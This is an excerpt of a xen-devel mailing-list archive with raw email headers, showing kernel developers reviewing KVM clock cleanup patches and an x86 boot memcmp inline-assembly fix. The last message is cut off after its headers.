X-Received: from pfbig10.prod.google.com ([2002:a05:6a00:8b8a:b0:848:478d:6efb])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:8c5:b0:845:f107:38c8
 with SMTP id d2e1a72fcca58-84e9332e63bmr4750014b3a.47.1785279970563; Tue, 28
 Jul 2026 16:06:10 -0700 (PDT)
Date: Tue, 28 Jul 2026 16:06:09 -0700
In-Reply-To: <20260728144954.355376-6-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260728144954.355376-1-dwmw2@infradead.org> <20260728144954.355376-6-dwmw2@infradead.org>
Message-ID: <amk14dmn5j7Oov1B@google.com>
Subject: Re: [PATCH v7 05/36] KVM: x86: Fold __get_kvmclock() into get_kvmclock()
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-c1860d/1785279973-CFCD387B-F72D2932/0/0
X-purgate-type: clean
X-purgate-size: 781

On Tue, Jul 28, 2026, David Woodhouse wrote:
> From: David Woodhouse <dwmw@amazon.co.uk>
> 
> There is no need for the separate __get_kvmclock() helper; just inline
> its body into get_kvmclock() within the seqcount retry loop.

Actually, there ends up being quite a bit of value if we rework the inner helper
to be all about the master clock mode.  If we go that route, then the main loop
is pretty self-explanatory, we can use early returns instead of continues and
subtle fall-throughs, and the indentation levels go down.

	do {
		data->flags = 0;

		seq = read_seqcount_begin(&ka->pvclock_sc);
		if (!__get_kvmclock_master_clock(kvm, data))
			data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
	} while (read_seqcount_retry(&ka->pvclock_sc, seq));


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 23:18:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 23:18:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375086.1622365 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wor3u-0005bR-HP; Tue, 28 Jul 2026 23:18:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375086.1622365; Tue, 28 Jul 2026 23:18:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wor3u-0005bK-E8; Tue, 28 Jul 2026 23:18:14 +0000
Received: by outflank-mailman (input) for mailman id 1375086;
 Tue, 28 Jul 2026 23:18:13 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3sjhpagYKCSMRD9MIBFNNFKD.BNLWDM-CDUDKKHRSR.WDMOQNIDBS.NQF@flex--seanjc.bounces.google.com>)
 id 1wor3t-0005bE-DA
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 23:18:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wor3s-00CViM-Em
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 01:18:12 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3sjhpagYKCSMRD9MIBFNNFKD.BNLWDM-CDUDKKHRSR.WDMOQNIDBS.NQF@flex--seanjc.bounces.google.com>)
 id 6a693873-2eae-0a2a0a5409dd-0a2a4502e124-38
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 01:18:12 +0200
Received: from [209.85.210.197] (helo=mail-pf1-f197.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3sjhpagYKCSMRD9MIBFNNFKD.BNLWDM-CDUDKKHRSR.WDMOQNIDBS.NQF@flex--seanjc.bounces.google.com>)
 id 6a6938b2-6ca4-0a2a45020019-d155d2c5cd5b-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 01:18:12 +0200
Received: by mail-pf1-f197.google.com with SMTP id
 d2e1a72fcca58-84857446424so628451b3a.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:18:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785280690; x=1785885490; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ex04CCTVdjetODvdAROex2NhCtrMzXHsD4UUHe0nQXo=;
        b=adtgHI4VTxfFA3+lbt8slPZ7mGCUY3ovscXcqb4QhngdSTaRFKzG63rrmuSd7NMR/r
         3vTRHNLuOR4HznIpT1C6ndJzUg8pUJ7bbNVyPVlKRUJjbH/V7rSlOAGgemMP5EEYwHsc
         +tVGdSEOOtjdGtiEdOkZMjIReaxIBHNMZRa9yGrXCUGHNXMQMe//vTRj3R0mQpQ81QqJ
         ggFk8SyzND67UviFR612bb4K2FpWp/2PNjsGQiWNdxaz4V8J2SoTN+i99d1jcuKzGSnz
         CYjYn+XMVQVqd4OXikCTYm5XqfcAH7ZFVhJtXBP2bvu4HyAi3rL5x4MEjORoRDyTZE0Z
         BaKQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785280690; x=1785885490;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ex04CCTVdjetODvdAROex2NhCtrMzXHsD4UUHe0nQXo=;
        b=T/56qiCkEgzSxRTvBRUofCVwD3TEAO08X+uW2Kr2Z/1apENnAH21r+bexSADq/gv0F
         UI5Ss0fdrjNFrWBiAPVtMoLjvdP+GRQ+s0fYQqh9ouIJHZyXxUNJYvizvQ4e2UONSFoY
         QKy74UMcJDV/iwZ1XbMx19lfGKvppFvPb4kOKVCXPkrZR6uqiv//iPt6UaoH1dD4uj/f
         NhZD/Nocwyvc2jKn+bwsgj9St4GUlMYRUYaqd5Mvq+67zsV6/ClEf2dfzMgqOKFUldMv
         3MpT1o7ukxK4jkTklf+5sbP7oeM+LvVbM+OX+7C6wMcOrW/mTenbapRFXkL8nkM127uk
         bWfA==
X-Forwarded-Encrypted: i=1; AHgh+RobahKH/jSQIiepbb+2jJGwMgiKZe1cpqQGDzxHVowUbuRNcVrM995AbghC+/UNt+mg0zeuqT/geSw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwbERHHvIHvcpJlOafdAYjlVTNOGVgL7RCTydeIyc9XLtjoyD2J
	a8W5qsyO3bhQWwCYgUWKq465nt1one9OcwuDTePv5kNIC3FMcat2qHHTUPVcPhezRzQ+OApTHiY
	TE1qeXA==
X-Received: from pfbig4.prod.google.com ([2002:a05:6a00:8b84:b0:84b:4480:8b65])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:288e:b0:847:8250:2b2a
 with SMTP id d2e1a72fcca58-84e933f382dmr4685664b3a.60.1785280690057; Tue, 28
 Jul 2026 16:18:10 -0700 (PDT)
Date: Tue, 28 Jul 2026 16:18:09 -0700
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260728144954.355376-1-dwmw2@infradead.org>
Message-ID: <amk4sX57FwapIp9B@google.com>
Subject: Re: [PATCH v7 00/36] Cleaning up the KVM clock mess
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-720697/1785280692-67CBA2AC-293417E6/0/0
X-purgate-type: clean
X-purgate-size: 3373

On Tue, Jul 28, 2026, David Woodhouse wrote:
> This is v7 of the series to clean up the KVM clock, rebased onto
> kvm-x86/next (patch 1 of v6 is already merged there as commit
> 710b3a30f407).

FYI, I'm going to rebase that commit again, to put all of this in a dedicated
topic branch.  But I'll also take care of updating references in commit messages.
More below.

> David Woodhouse (33):
>       KVM: x86: Improve accuracy of KVM clock when TSC scaling is in force
>       KVM: x86: Explicitly disable TSC scaling without CONSTANT_TSC
>       KVM: x86: Activate master clock immediately on vCPU creation
>       KVM: x86: Avoid NTP frequency skew for KVM clock on 32-bit host
>       KVM: x86: Fold __get_kvmclock() into get_kvmclock()
>       KVM: x86: Drop CPU pinning in get_kvmclock()
>       KVM: x86: Restructure get_kvmclock()
>       KVM: x86: Fix KVM clock precision in get_kvmclock() with TSC scaling
>       KVM: x86: Use get_kvmclock() in kvm_get_wall_clock_epoch()
>       KVM: x86: Fix compute_guest_tsc() to handle negative time deltas
>       KVM: x86: Restructure kvm_guest_time_update() for TSC upscaling
>       KVM: x86: Simplify and comment kvm_get_time_scale()

I'll post a new version up through here, get it applied soon-ish, and then get
back to chipping away at the rest of the series.  It'd obviously be nice to get
all the cleanups (and the tests) into 7.3, but I suspect the rest will take a
bit of back and worth (with Sashiko, if not me :-D).

I may punt on "Restructure kvm_guest_time_update() for TSC upscaling" if I have
trouble sorting through Sashiko's feedback, but I'll give it a shot.  I need to
page that all back in anyways.

>       KVM: x86: Remove implicit rdtsc() from kvm_compute_l1_tsc_offset()
>       KVM: x86: Improve synchronization in kvm_synchronize_tsc()
>       KVM: x86: Kill last_tsc_{nsec,write,offset} fields
>       KVM: x86: Replace nr_vcpus_matched_tsc count with all_vcpus_matched_tsc bool
>       KVM: x86: Allow KVM master clock mode when TSCs are offset from each other
>       KVM: x86: Factor out kvm_use_master_clock()
>       KVM: x86: Avoid gratuitous global clock updates
>       KVM: x86/xen: Prevent runstate times from becoming negative
>       KVM: x86: Avoid redundant masterclock updates from multiple vCPUs
>       KVM: x86: Remove runtime Xen TSC frequency CPUID update
>       KVM: x86: Re-synchronize TSC after KVM_SET_TSC_KHZ
>       KVM: x86: Use ktime_get_snapshot_id() for master clock
>       KVM: x86: Compute kvmclock base without pvclock_gtod_data
>       KVM: x86: Cache host vclock_mode for masterclock eligibility checks
>       KVM: x86: Remove pvclock_gtod_data and private timekeeping code
>       KVM: x86: Activate master clock from kvm_arch_init_vm()
>       KVM: selftests: Use UAPI pvclock-abi.h in xen_shinfo_test
>       KVM: x86: Add KVM_VCPU_TSC_SCALE and fix the documentation on TSC migration
>       KVM: selftests: Add master clock offset test
>       KVM: selftests: Add Xen/generic CPUID timing leaf test
>       KVM: selftests: Add Xen runstate migration test
> 
> Jack Allister (3):
>       UAPI: x86: Move pvclock-abi to UAPI for x86 platforms
>       KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for accurate KVM clock migration
>       KVM: selftests: Add KVM/PV clock selftest to prove timer correction


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 23:34:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 23:34:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375095.1622374 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1worJD-0001Pi-Os; Tue, 28 Jul 2026 23:34:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375095.1622374; Tue, 28 Jul 2026 23:34:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1worJD-0001Pb-LF; Tue, 28 Jul 2026 23:34:03 +0000
Received: by outflank-mailman (input) for mailman id 1375095;
 Tue, 28 Jul 2026 23:34:02 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <bp@alien8.de>) id 1worJB-0001PV-LS
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 23:34:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1worJA-00FzzM-NZ
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 01:34:00 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <bp@alien8.de>)
 id 6a693bf4-5cb7-0a2a0a5109dd-0a2a4508e1c2-44
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 01:34:00 +0200
Received: from [65.109.113.108] (helo=mail.alien8.de)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <bp@alien8.de>)
 id 6a693c68-f659-0a2a45080019-416d716c8b76-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 01:34:00 +0200
Received: from localhost (localhost.localdomain [127.0.0.1])
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTP id 5EBAC40E00E6; 
 Tue, 28 Jul 2026 23:33:59 +0000 (UTC)
Received: from mail.alien8.de ([127.0.0.1])
 by localhost (mail.alien8.de [127.0.0.1]) (amavisd-new, port 10026)
 with ESMTP id x3ufB0EG3hup; Tue, 28 Jul 2026 23:33:49 +0000 (UTC)
Received: from stx.tnic (unknown [IPv6:2600:1700:38ca:c00::43])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange ECDHE (P-256) server-signature ECDSA (P-256) server-digest
 SHA256) (No client certificate requested)
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id D143E40E00C3;
 Tue, 28 Jul 2026 23:33:35 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=alien8 header.d=alien8.de header.i="@alien8.de" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
X-Virus-Scanned: Debian amavisd-new at mail.alien8.de
Authentication-Results: mail.alien8.de (amavisd-new); dkim=pass (4096-bit key)
	header.d=alien8.de
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=alien8.de; s=alien8;
	t=1785281629; bh=BZMdPuQinJISZTZHQlTHGCynNapMMtcWSMKh359hUuU=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=bHiQV5hlef0rkWel34orSzsGD68DGqhZx+z5YOPob5mabwkqCqvL7WpZUzyGgfzSH
	 Oqh4c+fMa1KDyxutfsALJh4t3589gwUZdfdC6FH5MZH47bGxcvOkT97HUCfyiR0TUG
	 MoLKcsXikVMpfblhC61NRQRSu5OQ+gwutjuv2pOx1PfkM/jJjnDXaoJxXUuwJNrIlb
	 ITEIfAZ+sIvFHtw96d+fuFvE/GHp7H/L2GB3xMipcjL1lHiVFokgGlHIVf4dy48rwO
	 ZH2lJIRolNdL++p+uLs7sv2b2H6XMLEUAr0lGsghBNpN0HV9op22qNLGado0oU4ciS
	 HFzzJZC1m6LEXyiULpylVPC52b9imxnXN8BuE19NnuvhwwRtqgSoCmfFFZnOvMdzDn
	 haSaPijyPob0unAaq8M7MXaT2iasP1mrQWgTuao98orrttP6hmM0gBsplAleBU+Wf1
	 rSGDzFfrmUOBFbetpyp5YZ9nyNDJ+HLy+Hyd5lN+CFVnN4k0A1tnZoJe70H7JtqgSm
	 B5CNe3bQrlPS5OXBSPjjNCg5R7YRw3R1XECsi5SKYh91LW4vZyP8egr3ovkjBWz8oe
	 m6C5uPzA+E1lR6WFazQo268sWEqFQdQHKMttz9TwA9P3oVoUVqAelHEHboScitYWqk
	 h1CDnq5U6NOgoHLZIVTAPsTg=
Date: Tue, 28 Jul 2026 16:33:32 -0700
From: Borislav Petkov <bp@alien8.de>
To: Brian Gerst <brgerst@gmail.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>,
	Mauricio Faria de Oliveira <mfo@igalia.com>,
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
	Juergen Gross <jgross@suse.com>,
	Alexey Dobriyan <adobriyan@gmail.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
Message-ID: <20260728233332.GCamk8TN3cyN-Ohr31@fat_crate.local>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
 <CAMzpN2hyupAUk-XGRzM2wwQojPrsN66jWtT+saVf1NWdOzFXuw@mail.gmail.com>
 <2f22094d-b8c5-46ec-92b9-dd6752a8dc2e@zytor.com>
 <CAMzpN2hdw60=Un+mAFS5CEQqDRZ-d3fMogEwE4NxUe75P-GfSA@mail.gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <CAMzpN2hdw60=Un+mAFS5CEQqDRZ-d3fMogEwE4NxUe75P-GfSA@mail.gmail.com>
X-purgate-ID: tlsNG-c1860d/1785281640-CE54487B-D223EFC7/0/0
X-purgate-type: clean
X-purgate-size: 823

On Thu, Jul 23, 2026 at 08:49:13PM -0400, Brian Gerst wrote:
> Your suggestion is good, but should have a comment explaining why it's there
> to someone reading the code in the future.

I have this there now:

diff --git a/arch/x86/boot/string.c b/arch/x86/boot/string.c
index 6827551720dd..7bc34f9272fb 100644
--- a/arch/x86/boot/string.c
+++ b/arch/x86/boot/string.c
@@ -32,6 +32,11 @@
 int memcmp(const void *s1, const void *s2, size_t len)
 {
 	bool diff;
+
+	/*
+	 * Make sure ZF is properly set in the len==0 case because in it,
+	 * RCX==0 and the REPE; CMPSB won't get executed.
+	 */
 	asm volatile("test %3, %3\n\t"
 		     "repe cmpsb"
 		     : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)


-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 06:03:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 06:03:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375145.1622382 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woxO0-0007NX-Mp; Wed, 29 Jul 2026 06:03:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375145.1622382; Wed, 29 Jul 2026 06:03:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woxO0-0007NP-HU; Wed, 29 Jul 2026 06:03:24 +0000
Received: by outflank-mailman (input) for mailman id 1375145;
 Wed, 29 Jul 2026 06:03:22 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woxNy-0007MD-GA
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 06:03:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woxNu-004gcM-Uv
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 08:03:18 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a699798-e002-0a2a0a5209dd-0a2a45028b4a-40
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 08:03:18 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6997a6-6ca4-0a2a45020019-d155dd2ca4d8-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 08:03:18 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso439154f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 23:03:18 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fb6acfdafsm4632419f8f.15.2026.07.28.23.03.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 23:03:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785304998; x=1785909798; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ZDGEM4zt2j6l2ZIqBC8vF6kjKRs2J9Iy1JHD8Oi+Fvk=;
        b=WGKlOabsp6x5uMkoSchVm1MwTLTVnzuE4QKYKFocYW1tHPWFUxQcNvxCV1vdbJpq4v
         nliDICSup2D3KadpOAqCkbgsgwh62D0r2zaFEwwJEbUsHpOyLqPgVtZYILXNLTkBRv5H
         v3JkGR9I0ZivoAmUSSr2dk20e5M/HwiN3Nv6uJRgbosOqWyTEO44avoj3JjCEf91ZZSZ
         lsiSOoz2t2/XmkyqnpS8JKec5cBC4FPal1U3SJcjZgPE9oK0LKcfUYK0sdmiq1/BEcVE
         j6ZNIx1VdxLEnFJrbo0WKaj4GRCm3dZpK8JsTefChrIwalOEc634is0/pUIYbTV7i2kW
         CKJg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785304998; x=1785909798;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ZDGEM4zt2j6l2ZIqBC8vF6kjKRs2J9Iy1JHD8Oi+Fvk=;
        b=Rafp/XXII3bhIItBk1wUkQUYJAoht04K4RHSVm4irZN/XH9+jO1OsRtPVl9llz8Ddy
         HPQ1nAkxRnkJpq0qZB0fNaADJI1vQpayWfuwU/MPyyfjSS+3/Hf30NpcHCFo2F4gH/8A
         qEVhoDmSVb176JYnA1kYN6ZvrRPLCysY7m+QfqtYJ7ivIunDZ4tq2zxSkWcUZEnoxDvA
         5+EA0Tk7AUO3L1WqR5J6ERqMR6vUZ1IWJjRwEMjJPVstjEjf1epkJ39LFxo5L07BfnW6
         Gn4G7XG3zlycfvYWsiG5D1l9fL9wlGdsWYlLDeyoR4ta/8hgeoT1f+IhAEBPQF/fC8Ao
         z1vQ==
X-Forwarded-Encrypted: i=1; AHgh+Rox8P6/25Ll0VluQrdI9YzfDrmmktxb/ik71iP+1OZXX2rMTb+wOdLPcXv0L+QcInjRydu+ljvpKYQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzrfxEt5Les5D/7Y3hX8Fd/Z/lGGK+TX195IYN2i1toamGRQmK1
	w9QQ2ScDW6Hk1gytHJDLvYXhmr9V0tcMnUuRpq40KvoidCnsBQ5Rv14KfJByoGst7w==
X-Gm-Gg: AR+sD12cjsKsu0qOfec03QR/4T6wXPvohyxW/k4zHZcGt3oWcySZOu/JCw0swP5t428
	k6/5fcCNW7fNatSmPisz9QX+Ft6SR5u/6uD8U+NYTVxRs9SCZ3NpmgkEBpyGChsu8QKnS61kPKs
	lyPLoZYTgU4b1fbhVcVXG5YZHtKapg7zf79xEnrRj+9xx6pgqIFF6YQvfcYwp1Sl65efxUCfT5c
	puQFmRV4Z1vC5b1qzE/GJJQSdMOx/4FIF7Ap2Mqzg2mn0ccYryX600h1QFuk98VLA7+tElytu2X
	g8raL8pvdTTfemVn8B1xmzmBuWnZqGefrlpO6w3jiWQm7ke+HqCmHqpqlnqdyHifF5Ne1CyfzGs
	winjvUybHi46JYhhdCPHpzxaS60HNM3Nm5mgtSNEG8cR/41m9GxkiFOZ53AWJBkbr863stgkafi
	GBgHttAAaJz+aifYnfnupkCl2PD6xnZk6f3M2nP8MOXJzlcBdLzVe5bW4b4rDJN+R7K11dxPTzt
	NCDoFHvpYvREWJ16KWcSgTDU9nel0Ih2fCZgzhtQRo3SUfKA9Gp
X-Received: by 2002:a05:6000:184d:b0:45e:dd32:92fa with SMTP id ffacd0b85a97d-47fbabd61b2mr1105970f8f.12.1785304997887;
        Tue, 28 Jul 2026 23:03:17 -0700 (PDT)
Message-ID: <b050c051-c165-42a4-a76f-781c8d43248e@suse.com>
Date: Wed, 29 Jul 2026 08:03:15 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/2] tools/ocaml: Fix crash in
 Xenctrl.domain_getinfo{,list} on ARM
To: Andrew Cooper <andrew.cooper3@citrix.com>
